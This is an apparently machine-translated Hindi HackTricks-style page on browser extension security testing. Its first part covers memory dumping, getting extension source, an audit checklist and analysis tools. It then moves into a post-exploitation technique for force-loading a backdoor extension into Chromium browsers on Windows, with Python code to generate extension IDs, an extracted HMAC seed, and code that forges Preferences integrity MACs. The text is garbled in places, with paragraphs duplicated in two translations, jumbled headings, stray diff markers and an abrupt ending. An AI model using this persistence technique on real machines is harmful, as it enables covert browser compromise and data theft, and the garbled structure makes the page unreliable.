यदि कोई Browser Extension अपनी memory में **sensitive information** स्टोर करता है, तो इसे **dumped** किया जा सकता है (विशेषकर Windows मशीनों पर) और उस जानकारी के लिए **searched** किया जा सकता है।
इसलिए, ब्राउज़र एक्सटेंशन की मेमोरी **सुरक्षित नहीं मानी जानी चाहिए** और **संवेदनशील जानकारी** जैसे क्रेडेंशियल्स या म्नेमोनिक वाक्यांश **संग्रहीत नहीं किए जाने चाहिए**।
इसलिए, Browser Extension की memory को **secure नहीं माना जाना चाहिए** और ऐसे **sensitive information** जैसे credentials या mnemonic phrases **store नहीं किये जाने चाहिए**।
बेशक, **संवेदनशील जानकारी को कोड में न डालें**, क्योंकि यह **सार्वजनिक** होगी
बेशक, code में **sensitive information** न रखें, क्योंकि वह **public** हो जाएगा
ब्राउज़र से मेमोरी को डंप करने के लिए आप **प्रोसेस मेमोरी को डंप** कर सकते हैं या ब्राउज़र एक्सटेंशन की **सेटिंग्स** में जाकर **`Inspect pop-up`** पर क्लिक करें -> **`Memory`** सेक्शन में -> **`Take a snapshot`** और **`CTRL+F`** का उपयोग करके स्नैपशॉट के अंदर संवेदनशील जानकारी के लिए खोजें।
Browser से memory dump करने के लिए आप process memory **dump** कर सकते हैं या browser extension की settings में जाकर **`Inspect pop-up`** पर क्लिक करें -> **`Memory`** सेक्शन में -> **`Take a snaphost`** और **`CTRL+F`** से snapshot के अंदर sensitive info खोजें।
इसके अलावा, अत्यधिक संवेदनशील जानकारी जैसे म्नेमोनिक की या पासवर्ड **क्लिपबोर्ड में कॉपी करने की अनुमति नहीं दी जानी चाहिए** (या कम से कम कुछ सेकंड में इसे क्लिपबोर्ड से हटा दें) क्योंकि तब क्लिपबोर्ड की निगरानी करने वाली प्रक्रियाएँ उन्हें प्राप्त कर सकेंगी
इसके अलावा, mnemonic keys या passwords जैसी अत्यंत संवेदनशील जानकारी को clipboard में copy करने की अनुमति नहीं दी जानी चाहिए (या कम से कम कुछ सेकंड में clipboard से हटा दें), क्योंकि clipboard मॉनिटर करने वाली processes इन्हें प्राप्त कर सकती हैं
## ब्राउज़र में एक एक्सटेंशन लोड करना
## Loading an Extension in the Browser
1. **ब्राउज़र एक्सटेंशन डाउनलोड करें** और अनज़िप करें।
2. **`chrome://extensions/`** पर जाएं और `Developer Mode` को **सक्रिय करें**
3. **`Load unpacked`** बटन पर क्लिक करें
1. Browser Extension को डाउनलोड करें और unzip करें
2. **`chrome://extensions/`** पर जाएं और `Developer Mode` को सक्षम करें
3. **`Load unpacked`** बटन पर क्लिक करें
**फायरफॉक्स** में आप **`about:debugging#/runtime/this-firefox`** पर जाते हैं और **`Load Temporary Add-on`** बटन पर क्लिक कर हैं।
Firefox में आप **`about:debugging#/runtime/this-firefox`** पर जाएं और **`Load Temporary Add-on`** बटन पर क्लिक करें।
## स्टोर से स्रोत कोड प्राप्त करना
## Getting the source code from the store
एक Chrome एक्सटेंशन का स्रोत कोड विभिन्न तरीकों से प्राप्त किया जा सकता है। नीचे प्रत्येक विकल्प के लिए विस्तृत स्पष्टीकरण और निर्देश दिए गए हैं।
Chrome extension का source code विभिन्न तरीकों से प्राप्त किया जा सकता है। नीचे हर विकल्प के लिए विस्तृत व्याख्या और निर्देश दिए गए हैं।
### कमांड लाइन के माध्यम से ZIP के रूप में एक्सटेंशन डाउनलोड करें
### Download Extension as ZIP via Command Line
एक Chrome एक्सटेंशन का स्रोत कोड कमांड लाइन का उपयोग करके ZIP फ़ाइल के रूप में डाउनलोड किया जा सकता है। इसमें `curl` का उपयोग करके एक विशिष्ट URL से ZIP फ़ाइल लाना और फिर ZIP फ़ाइल की सामग्री को एक निर्देशिका में निकालना शामिल है। यहाँ कदम हैं:
Chrome extension का source code command line का उपयोग करके ZIP फाइल के रूप में डाउनलोड किया जा सकता है। इसमें `curl` का उपयोग करके एक विशेष URL से ZIP फ़ाइल प्राप्त करना और फिर ZIP फ़ाइल की सामग्री को किसी डायरेक्टरी में extract करना शामिल है। यहाँ चरण दिए गए हैं:
1. `"extension_id"` को एक्सटेंशन के वास्तविक ID से बदलें।
2. निम्नलिखित कमांड निष्पादित करें:
1. `"extension_id"` को उस extension के वास्तविक ID से बदलें।
2. निम्नलिखित commands execute करें:
```bash
extension_id=your_extension_id # Replace with the actual extension ID
curl -L -o "$extension_id.zip" "https://clients2.google.com/service/update2/crx?response=redirect&os=mac&arch=x86-64&nacl_arch=x86-64&prod=chromecrx&prodchannel=stable&prodversion=44.0.2403.130&x=id%3D$extension_id%26uc"
unzip -d "$extension_id-source" "$extension_id.zip"
```
### CRX व्यूअर वेबसाइट का उपयोग करें
### Use the CRX Viewer वेबसाइट
[https://robwu.nl/crxviewer/](https://robwu.nl/crxviewer/)
### CRX व्यूअर एक्सटेंशन का उपयोग करें
### Use the CRX Viewer extension
एक और सुविधाजनक तरीका है Chrome एक्सटेंशन सोर्स व्यूअर का उपयोग करना, जो एक ओपन-सोर्स प्रोजेक्ट है। इसे [Chrome वेब स्टोर](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en) से स्थापित किया जा सकता है। व्यूअर का सोर्स कोड इसके [GitHub रिपॉजिटरी](https://github.com/Rob--W/crxviewer) में उपलब्ध है।
एक और सुविधाजनक तरीका है Chrome Extension Source Viewer का उपयोग करना, जो एक open-source प्रोजेक्ट है। इसे [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en) से इंस्टॉल किया जा सकता है। viewer का source code इसके [GitHub repository](https://github.com/Rob--W/crxviewer) में उपलब्ध है।
### स्थानीय रूप से स्थापित एक्सटेंशन का सोर्स देखें
### View source of locally installed extension
स्थानीय रूप से स्थापित Chrome एक्सटेंशन को भी निरीक्षण किया जा सकता है। यहाँ यह कैसे करें:
स्थानीय रूप से इंस्टॉल किए गए Chrome एक्सटेंशन को भी निरीक्षण किया जा सकता है। तरीका इस प्रकार है:
1. `chrome://version/` पर जाकर अपने Chrome स्थानीय प्रोफ़ाइल निर्देशिका तक पहुँचें और "Profile Path" फ़ील्ड को खोजें।
2. प्रोफ़ाइल निर्देशिका के भीतर `Extensions/` उपफोल्डर पर जाएँ।
3. इस फ़ोल्डर में सभी स्थापित एक्सटेंशन होते हैं, आमतौर पर उनके सोर्स कोड के साथ एक पठनीय प्रारूप में।
1. अपने Chrome लोकल प्रोफ़ाइल डायरेक्टरी तक पहुँचने के लिए `chrome://version/` पर जाएँ और "Profile Path" फ़ील्ड खोजें।
2. प्रोफ़ाइल डायरेक्टरी के अंदर `Extensions/` सबफ़ोल्डर पर जाएँ।
3. यह फ़ोल्डर सभी इंस्टॉल किए गए एक्सटेंशन रखता है, आम तौर पर उनके सोर्स कोड पठनीय फ़ॉर्मेट में होते हैं।
एक्सटेंशनों की पहचान करने के लिए, आप उनके IDs को नामों से मैप कर सकते हैं:
- `about:extensions`ृष्ठ पर डेवलपर मोड सक्षम करें ताकि आप प्रत्येक एक्सटेंशन के IDs देख सकें।
- प्रत्येक एक्सटेंशन के फ़ोल्डर के भीतर, `manifest.json` फ़ाइल में एक पठनीय `name` फ़ील्ड होती है, जो आपको एक्सटेंशन की पहचान करने में मदद करती है।
- `about:extensions`ेज पर Developer Mode सक्षम करें ताकि प्रत्येक एक्सटेंशन के IDs दिखें।
- हर एक्सटेंशन के फ़ोल्डर में `manifest.json` फ़ाइल में एक पठनीय `name` फ़ील्ड होती है, जो एक्सटेंशन की पहचान करने में मदद करती है।
### फ़ाइल आर्काइवर या अनपैकर का उपयोग करें
### Use a File Archiver or Unpacker
Chrome वेब स्टोर पर जाएँ और एक्सटेंशन डाउनलोड करें। फ़ाइल का `.crx` एक्सटेंशन होगा। फ़ाइल के एक्सटेंशन को `.crx` से `.zip` में बदलें। ZIP फ़ाइल की सामग्री निकालने के लिए किसी भी फ़ाइल आर्काइवर (जैसे WinRAR, 7-Zip, आदि) का उपयोग करें।
Chrome Web Store पर जाएँ और एक्सटेंशन डाउनलोड करें। फ़ाइल का एक्सटेंशन `.crx` होगा। फ़ाइल एक्सटेंशन को `.crx` से `.zip` में बदलें। किसी भी फ़ाइल आर्काइवर (जैसे WinRAR, 7-Zip, आदि) का उपयोग करके ZIP फ़ाइल की सामग्री निकालें।
### Chrome में डेवलपर मोड का उपयोग करें
### Use Developer Mode in Chrome
Chrome खोलें और `chrome://extensions/` पर जाएँ। शीर्ष दाएँ कोने में "डेवलपर मोड" सक्षम करें। "लोड अनपैक्ड एक्सटेंशन..." पर क्लिक करें। अपने एक्सटेंशन के निर्देशिका पर जाएँ। यह सोर्स कोड डाउनलोड नहीं करता है, लेकिन यह पहले से डाउनलोड किए गए या विकसित किए गए एक्सटेंशन के कोड को देखने और संशोधित करने के लिए उपयोगी है।
Chrome खोलें और `chrome://extensions/` पर जाएँ। ऊपरी दायें में "Developer mode" सक्षम करें। "Load unpacked extension..." पर क्लिक करें। अपने एक्सटेंशन की डायरेक्टरी पर नेविगेट करें। यह सोर्स कोड डाउनलोड नहीं करता, लेकिन पहले डाउनलोड या विकसित किए गए एक्सटेंशन के कोड को देखने और संशोधित करने के लिए उपयोगी है।
## Chrome एक्सटेंशन मैनिफेस्ट डेटासेट
## Chrome extension manifest dataset
कमजोर ब्राउज़र एक्सटेंशनों को पहचानने के लिए आप [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) का उपयोग कर सकते हैं और संभावित कमजोर संकेतों के लिए उनके मैनिफेस्ट फ़ाइलों की जांच कर सकते हैं। उदाहरण के लिए, 25000 से अधिक उपयोगकर्ताओं वाले एक्सटेंशनों, `content_scripts` और अनुमति `nativeMessaging` की जांच करने के लिए:
कमज़ोर browser एक्सटेंशनों को खोजने के लिए आप [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) का उपयोग कर सकते हैं और उनके manifest फ़ाइलों में संभावित कमजोर संकेतों की जाँच कर सकते हैं। उदाहरण के लिए ऐसे एक्सटेंशन चेक करने के लिए जिनके 25000 से अधिक users हैं, जिनमें `content_scripts` और permission `nativeMessaing` मौजूद हैं:
```bash
# Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
```
## सुरक्षा ऑडिट चेकलिस्ट
## Post-exploitation: Forced extension load & persistence (Windows)
हालांकि ब्राउज़र एक्सटेंशन का **सीमित हमला सतह** होता है, उनमें से कुछ में **कमजोरियाँ** या **संभावित सख्ती सुधार** हो सकते हैं। निम्नलिखित सबसे सामान्य हैं:
Stealthy technique to backdoor Chromium by directly editing per-user Preferences and forging valid HMACs, causing the browser to accept and activate an arbitrary unpacked extension without prompts or flags.
- [ ] **अनुरोध की गई** **`permissions`** को यथासंभव सीमित करें
- [ ] **`host_permissions`** को यथासंभव सीमित करें
- [ ] एक **मजबूत** **`content_security_policy`** का उपयोग करें
- [ ] **`externally_connectable`** को यथासंभव सीमित करें, यदि कोई आवश्यकता नहीं है और संभव है, तो इसे डिफ़ॉल्ट रूप से न छोड़ें, **`{}`** निर्दिष्ट करें
- [ ] यदि यहां **XSS या अधिग्रहण के लिए संवेदनशील URL** का उल्लेख किया गया है, तो एक हमलावर **पृष्ठभूमि स्क्रिप्ट को सीधे संदेश भेजने** में सक्षम होगा। बहुत शक्तिशाली बायपास।
- [ ] **`web_accessible_resources`** को यथासंभव सीमित करें, यदि संभव हो तो खाली भी।
- [ ] यदि **`web_accessible_resources`** कोई नहीं है, तो [**ClickJacking**](browext-clickjacking.md) के लिए जांचें
- [ ] यदि **एक्सटेंशन** से **वेब पृष्ठ** में कोई **संवाद** होता है, तो [**XSS**](browext-xss-example.md) **कमजोरियों** के लिए जांचें जो संवाद में उत्पन्न होती हैं।
- [ ] यदि पोस्ट संदेशों का उपयोग किया जाता है, तो [**पोस्ट संदेश कमजोरियों**](../postmessage-vulnerabilities/index.html)** के लिए जांचें।**
- [ ] यदि **कंटेंट स्क्रिप्ट DOM विवरणों** तक पहुंचती है, तो जांचें कि वे **XSS** को **परिवर्तित** करने पर **परिचय नहीं कर रही हैं** यदि वे वेब द्वारा **संशोधित** की जाती हैं
- [ ] यदि यह संवाद **कंटेंट स्क्रिप्ट -> पृष्ठभूमि स्क्रिप्ट संवाद** में भी शामिल है, तो विशेष जोर दें
- [ ] यदि पृष्ठभूमि स्क्रिप्ट **नेटिव मैसेजिंग** के माध्यम से संवाद कर रही है, तो जांचें कि संवाद सुरक्षित और स्वच्छ है
- [ ] **संवेदनशील जानकारी को ब्राउज़र एक्सटेंशन** **कोड** के अंदर **नहीं रखा जाना चाहिए**
- [ ] **संवेदनशील जानकारी को ब्राउज़र एक्सटेंशन** **मेमोरी** के अंदर **नहीं रखा जाना चाहिए**
- [ ] **संवेदनशील जानकारी को बिना सुरक्षा के फ़ाइल प्रणाली** के अंदर **नहीं रखा जाना चाहिए**
{{#ref}}
forced-extension-load-preferences-mac-forgery-windows.md
{{#endref}}
## ब्राउज़र एक्सटेंशन जोखिम
## सिक्योरिटी ऑडिट चेकलिस्ट
- ऐप [https://crxaminer.tech/](https://crxaminer.tech/) कुछ डेटा का विश्लेषण करता है जैसे कि ब्राउज़र एक्सटेंशन द्वारा अनुरोधित अनुमतियाँ ताकि ब्राउज़र एक्सटेंशन के उपयोग का जोखिम स्तर दिया जा सके।
हालाँकि Browser Extensions का attack surface सीमित होता है, फिर भी उनमें कुछ में vulnerabilities या hardening सुधार की आवश्यकता हो सकती है। नीचे दिए गए बिंदु सबसे आम हैं:
## उपकरण
- [ ] अनुरोध किए गए **`permissions`** को यथासंभव सीमित करें
- [ ] यथासंभव **`host_permissions`** को सीमित करें
- [ ] एक मजबूत **`content_security_policy`** का उपयोग करें
- [ ] **`externally_connectable`** को यथासंभव सीमित रखें — यदि आवश्यकता नहीं है तो डिफ़ॉल्ट रूप से छोड़ने की बजाय **`{}`** निर्दिष्ट करें
- [ ] यदि यहाँ कोई URL जो XSS या takeover के लिए vulnerable है उल्लिखित है, तो attacker सीधे background scripts को messages भेज पाएगा। यह बहुत शक्तिशाली bypass हो सकता है।
- [ ] **`web_accessible_resources`** को यथासंभव सीमित रखें, यदि संभव हो तो खाली रखें।
- [ ] यदि **`web_accessible_resources`** none नहीं है, तो [**ClickJacking**](browext-clickjacking.md) के लिए जाँच करें
- [ ] यदि किसी भी प्रकार का **communication** extension से वेब पेज की ओर हो रहा है, तो उस communication में होने वाली [**XSS**](browext-xss-example.md) vulnerabilities की जाँच करें
- [ ] यदि Post Messages का उपयोग किया जा रहा है, तो [**Post Message vulnerabilities**](../postmessage-vulnerabilities/index.html) के लिए जाँच करें
- [ ] यदि Content Script DOM तक पहुँचती है, तो सुनिश्चित करें कि वे वेब द्वारा modify होने पर किसी XSS को introduce न करें
- [ ] विशेष ध्यान दें यदि यह communication Content Script -> Background script communication में भी शामिल है
- [ ] यदि background script native messaging के माध्यम से communicate कर रहा है तो सुनिश्चित करें कि communication secure और sanitized हो
- [ ] संवेदनशील जानकारी Browser Extension के code में संग्रहीत नहीं होनी चाहिए
- [ ] संवेदनशील जानकारी Browser Extension की memory में संग्रहीत नहीं होनी चाहिए
- [ ] संवेदनशील जानकारी file system में अनप्रोटेक्टेड रूप में संग्रहीत नहीं होनी चाहिए
## Browser Extension Risks
- ऐप [https://crxaminer.tech/](https://crxaminer.tech/) कुछ डेटा जैसे कि extension द्वारा request किए गए permissions का विश्लेषण कर के एक जोखिम स्तर देता है कि उस extension का उपयोग कितना जोखिम भरा है।
## टूल्स
### [**Tarnish**](https://thehackerblog.com/tarnish/)
- प्रदान किए गए क्रोम वेबस्टोर लिंक से किसी भी क्रोम एक्सटेंशन को खींचता है।
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **दर्शक**: बस एक्सटेंशन के मैनिफेस्ट का JSON-प्रेटीफाइड संस्करण प्रदर्शित करता है।
- **फिंगरप्रिंट विश्लेषण**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) का पता लगाना और क्रोम एक्सटेंशन फिंगरप्रिंटिंग जावास्क्रिप्ट का स्वचालित निर्माण।
- **संभावित क्लिकजैकिंग विश्लेषण**: एक्सटेंशन HTML पृष्ठों का पता लगाना जिनमें [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) निर्देश सेट है। ये पृष्ठों के उद्देश्य के आधार पर क्लिकजैकिंग के लिए संभावित रूप से संवेदनशील हो सकते हैं।
- **अनुमति चेतावनी** दर्शक: जो सभी क्रोम अनुमति प्रॉम्प्ट चेतावनियों की सूची दिखाता है जो उपयोगकर्ता द्वारा एक्सटेंशन स्थापित करने का प्रयास करते समय प्रदर्शित की जाएंगी।
- **खतरनाक फ़ंक्शन**: खतरनाक फ़ंक्शनों का स्थान दिखाता है जिन्हें संभावित रूप से एक हमलावर द्वारा शोषित किया जा सकता है (जैसे innerHTML, chrome.tabs.executeScript जैसे फ़ंक्शन)।
- **प्रवेश बिंदु**: दिखाता है कि एक्सटेंशन उपयोगकर्ता/बाहरी इनपुट को कहां लेता है। यह एक्सटेंशन के सतह क्षेत्र को समझने और एक्सटेंशन में दुर्भावनापूर्ण रूप से तैयार किए गए डेटा भेजने के संभावित बिंदुओं की तलाश करने के लिए उपयोगी है।
- खतरनाक फ़ंक्शन और प्रवेश बिंदु स्कैनर के लिए उनके उत्पन्न अलर्ट में निम्नलिखित शामिल हैं:
- अलर्ट का कारण बनने वाला प्रासंगिक कोड स्निपेट और पंक्ति।
- समस्या का विवरण।
- कोड वाले पूर्ण स्रोत फ़ाइल को देखने के लिए "View File" बटन।
- अलर्ट किए गए फ़ाइल का पथ।
- अलर्ट किए गए फ़ाइल का पूर्ण क्रोम एक्सटेंशन URI।
- यह किस प्रकार की फ़ाइल है, जैसे कि पृष्ठभूमि पृष्ठ स्क्रिप्ट, सामग्री स्क्रिप्ट, ब्राउज़र क्रिया, आदि।
- यदि संवेदनशील पंक्ति एक जावास्क्रिप्ट फ़ाइल में है, तो यह उन सभी पृष्ठों के पथ दिखाता है जहां इसे शामिल किया गया है, साथ ही इन पृष्ठों का प्रकार और [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) स्थिति।
- **कंटेंट सुरक्षा नीति (CSP) विश्लेषक और बायपास चेक**: यह आपके एक्सटेंशन की CSP में कमजोरियों को उजागर करेगा और यह भी किसी भी संभावित तरीकों को उजागर करेगा जिससे आप अपनी CSP को व्हाइटलिस्टेड CDNs आदि के कारण बायपास कर सकते हैं।
- **ज्ञात कमजोर पुस्तकालय**: यह [Retire.js](https://retirejs.github.io/retire.js/) का उपयोग करता है ताकि ज्ञात-कमजोर जावास्क्रिप्ट पुस्तकालयों के किसी भी उपयोग की जांच की जा सके।
- एक्सटेंशन और स्वरूपित संस्करण डाउनलोड करें
- मूल एक्सटेंशन डाउनलोड करें
- एक्सटेंशन का एक सुंदर संस्करण डाउनलोड करें (स्वचालित रूप से प्रेटीफाइड HTML और जावास्क्रिप्ट)
- स्कैन परिणामों का स्वचालित कैशिंग, एक एक्सटेंशन स्कैन चलाने में पहले बार में अच्छा समय लगेगा। हालाँकि दूसरी बार, यह मानते हुए कि एक्सटेंशन को अपडेट नहीं किया गया है, परिणामों के कैश होने के कारण लगभग तात्कालिक होगा।
- लिंक करने योग्य रिपोर्ट URLs, किसी अन्य व्यक्ति को tarnish द्वारा उत्पन्न एक्सटेंशन रिपोर्ट से आसानी से लिंक करें
- किसी दिए गए Chrome webstore लिंक से किसी भी Chrome extension को खींचता है।
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **viewer**: extension के manifest का JSON-prettified वर्शन दिखाता है।
- **Fingerprint Analysis**: `web_accessible_resources` का पता लगाना और Chrome extension fingerprinting JavaScript का automatic generation
- **Potential Clickjacking Analysis**: उन extension HTML पेजों का पता लगाना जिनमें `web_accessible_resources` निर्देश सेट है। यह पेज उनके उद्देश्य के आधार पर संभावित रूप से clickjacking के प्रति vulnerable हो सकते हैं।
- **Permission Warning(s) viewer**: जो उन सभी Chrome permission prompt warnings की सूची दिखाता है जो user द्वारा extension install करने पर दिखाई जाएंगी।
- **Dangerous Function(s)**: संभावित रूप से exploit किए जाने योग्य dangerous functions का स्थान दिखाता है (जैसे innerHTML, chrome.tabs.executeScript जैसी functions)।
- **Entry Point(s)**: दिखाता है कि extension user/external input कहाँ लेता है। यह extension की surface area समझने और maliciously-crafted data भेजने के संभावित बिंदु खोजने के लिए उपयोगी है।
- Dangerous Function(s) और Entry Point(s) दोनों scanners के जनरेट किए गए alerts के लिए निम्न प्रदान करते हैं:
- संबंधित code snippet और वह line जिसने alert उत्पन्न किया
- समस्या का विवरण।
- “View File” बटन ताकि संपूर्ण source file देखा जा सके
- alerted file का path
- alerted file का पूरा Chrome extension URI।
- उस file का प्रकार, जैसे Background Page script, Content Script, Browser Action, आदि।
- यदि vulnerable line JavaScript file में है, तो उन सभी पृष्ठों के paths जहाँ यह शामिल है तथा उन पृष्ठों के प्रकार और `web_accessible_resource` status
- **Content Security Policy (CSP) analyzer and bypass checker**: यह आपकी extension की CSP में कमजोरियों को इंगित करेगा और whitelisted CDNs आदि के कारण संभावित bypass तरीकों को भी रोशनी में लाएगा
- **Known Vulnerable Libraries**: यह [Retire.js](https://retirejs.github.io/retire.js/) का उपयोग कर किसी भी ज्ञात-खतरनाक JavaScript libraries के उपयोग की जाँच करता है
- Extension और formatted versions डाउनलोड करने का विकल्प
- Original extension डाउनलोड करने का विकल्प
- Beautified version (auto prettified HTML और JavaScript) डाउनलोड करने का विकल्प
- Scan results का automatic caching — पहली बार scan चलाने पर समय लग सकता है, पर दूसरी बार (यदि extension अपडेट नहीं हुआ है) results cached होने की वजह से लगभग instant होगा।
- Linkable Report URLs, ताकि Tarnish द्वारा जनरेट किए गए extension report को आसानी से किसी और के साथ share किया जा सके
### [Neto](https://github.com/elevenpaths/neto)
प्रोजेक्ट Neto एक Python 3 पैकेज है जिसे फ़ायरफ़ॉक्स और क्रोम जैसे प्रसिद्ध ब्राउज़रों के लिए ब्राउज़र प्लगइन्स और एक्सटेंशनों की छिपी हुई विशेषताओं का विश्लेषण और अनावरण करने के लिए तैयार किया गया है। यह `manifest.json`, स्थानीयकरण फ़ोल्डरों या जावास्क्रिप्ट और HTML स्रोत फ़ाइलों जैसे प्रासंगिक संसाधनों से इन विशेषताओं को निकालने के लिए पैकेज किए गए फ़ाइलों को अनज़िप करने की प्रक्रिया को स्वचालित करता है।
Project Neto एक Python 3 पैकेज है जिसे Firefox और Chrome जैसे well-known browsers के browser plugins और extensions की hidden features का विश्लेषण और उदघाटन करने के लिए बनाया गया है। यह पैकेज पैकेज्ड फाइलों को unzip करके relevant resources जैसे `manifest.json`, localization folders या Javascript और HTML source files से इन features को extract करने के प्रोसेस को automate करता है।
## संदर्भ
- **इस पद्धति में मदद के लिए धन्यवाद** [**@naivenom**](https://twitter.com/naivenom)
- **Thanks to** [**@naivenom**](https://twitter.com/naivenom) **for the help with this methodology**
- [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing)
- [https://palant.info/2022/08/10/anatomy-of-a-basic-extension/](https://palant.info/2022/08/10/anatomy-of-a-basic-extension/)
- [https://palant.info/2022/08/24/attack-surface-of-extension-pages/](https://palant.info/2022/08/24/attack-surface-of-extension-pages/)

View File

@ -0,0 +1,207 @@
# Forced Extension Load & Preferences MAC Forgery (Windows)
{{#include ../../banners/hacktricks-training.md}}
## अवलोकन
Stealthy post-exploitation तकनीक जिससे Windows पर Chromium-based ब्राउज़रों में arbitrary extensions को force-load किया जा सकता है, एक उपयोगकर्ता की Preferences/Secure Preferences को संपादित कर और संशोधित nodes के लिए मान्य HMACs बनाकर। यह Chrome/Chromium, Edge, और Brave के खिलाफ काम करता है। प्रकाशन के समय यह Chromium 130 से 139 तक लागू देखा गया था। विक्टिम प्रोफ़ाइल में एक साधारण disk write primitive पर्याप्त है ताकि बिना command-line flags या user prompts के एक full-privileged extension को स्थायी बनाया जा सके।
> मुख्य विचार: Chromium per-user extension state को एक JSON preferences फ़ाइल में स्टोर करता है और इसे HMAC-SHA256 से सुरक्षित करता है। यदि आप ब्राउज़र के embedded seed के साथ मान्य MACs गणना कर के उन्हें अपने injected nodes के बगल में लिखते हैं, तो ब्राउज़र आपके extension entry को स्वीकार और सक्रिय कर देता है।
## जहाँ extension state रहता है (Windows)
- Nondomainjoined Chrome प्रोफ़ाइल:
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (एक root "super_mac" शामिल है).
- Domainjoined Chrome प्रोफ़ाइल:
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
- Chromium द्वारा उपयोग किए जाने वाले मुख्य nodes:
- extensions.settings.<extension_id> → extension entry के लिए embedded manifest/metadata
- protection.macs.extensions.settings.<extension_id> → उस JSON blob के लिए HMAC
- Chromium ≥134: extensions.ui.developer_mode (boolean) मौजूद होना चाहिए और unpacked extensions के सक्रिय होने के लिए MACsigned होना चाहिए
सरलीकृत स्कीमा (उदाहरण):
```json
{
"extensions": {
"settings": {
"<extension_id>": {
"name": "Extension name",
"manifest_version": 3,
"version": "1.0",
"key": "<BASE64 DER SPKI>",
"path": "<absolute path if unpacked>",
"state": 1,
"from_bookmark": false,
"was_installed_by_default": false
// ...rest of manifest.json + required install metadata
}
},
"ui": { "developer_mode": true }
},
"protection": {
"macs": {
"extensions": {
"settings": { "<extension_id>": "<MAC>" },
"ui": { "developer_mode": "<MAC>" }
}
}
}
}
```
नोट:
- Edge/Brave समान संरचनाएँ बनाए रखते हैं। protection seed value अलग हो सकती है (कुछ बिल्ड्स में Edge/Brave ने null/other seed का उपयोग करते हुए देखा गया)।
## Extension IDs: path vs key and making them deterministic
Chromium निम्नानुसार extension ID निकलता है:
- Packed/signed extension: ID = SHA256 over DERencoded SubjectPublicKeyInfo (SPKI) → take first 32 hex chars → map 0f to ap
- Unpacked (no key in manifest): ID = SHA256 over the absolute installation path bytes → map 0f to ap
hosts पर एक स्थिर ID बनाए रखने के लिए, manifest.json में "key" के अंतर्गत एक fixed base64 DER public key एम्बेड करें। ID installation path के बजाय इस key से निकाला जाएगा।
Helper to generate a deterministic ID and a key pair:
```python
import base64
import hashlib
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
def translate_crx_id(s: str) -> str:
t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
return ''.join(t.get(c, c) for c in s)
def generate_extension_keys() -> tuple[str,str,str]:
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
spki = pub.public_bytes(encoding=serialization.Encoding.DER,
format=serialization.PublicFormat.SubjectPublicKeyInfo)
crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
pub_b64 = base64.b64encode(spki).decode('utf-8')
priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption())
priv_b64 = base64.b64encode(priv_der).decode('utf-8')
return crx_id, pub_b64, priv_b64
print(generate_extension_keys())
```
अपने manifest.json में जनरेट किया गया public key जोड़ें ताकि ID लॉक हो:
```json
{
"manifest_version": 3,
"name": "Synacktiv extension",
"version": "1.0",
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
}
```
## Preferences की integrity MACs का फोर्ज़ करना (core bypass)
Chromium प्रत्येक नोड के "path" + serialized JSON value पर HMACSHA256 के साथ preferences की सुरक्षा करता है। HMAC seed ब्राउज़र के resources.pak में embedded है और Chromium 139 तक वैध था।
GRIT pak_util से seed निकालें और seed container (परीक्षित बिल्ड्स में file id 146) ढूँढें:
```bash
python3 pak_util.py extract resources.pak -o resources_v139/
python3 pak_util.py extract resources.pak -o resources_v139_dirty/
# compare a clean vs minimally modified resources.pak to spot the seed holder
xxd -p resources_v139/146
# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8
```
MACs (uppercase hex) को इस प्रकार गणना करें:
```text
ext_mac = HMAC_SHA256(seed,
"extensions.settings.<crx_id>" + json.dumps(<settings_json>))
devmode_mac = HMAC_SHA256(seed,
"extensions.ui.developer_mode" + ("true" or "false"))
```
न्यूनतम Python उदाहरण:
```python
import json, hmac, hashlib
def mac_upper(seed_hex: str, pref_path: str, value) -> str:
seed = bytes.fromhex(seed_hex)
# Compact JSON to match Chromium serialization closely
val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
msg = (pref_path + val).encode('utf-8')
return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()
# Example usage
settings_path = f"extensions.settings.{crx_id}"
devmode_path = "extensions.ui.developer_mode"
ext_mac = mac_upper(seed_hex, settings_path, settings_json)
devmode_mac = mac_upper(seed_hex, devmode_path, "true")
```
Write the values under:
- protection.macs.extensions.settings.<crx_id> = ext_mac
- protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium ≥134)
ब्राउज़र में अंतर: Microsoft Edge और Brave पर seed null/अलग हो सकता है। HMAC संरचना समान रहती है; seed के अनुसार समायोजित करें।
> कार्यान्वयन टिप्स
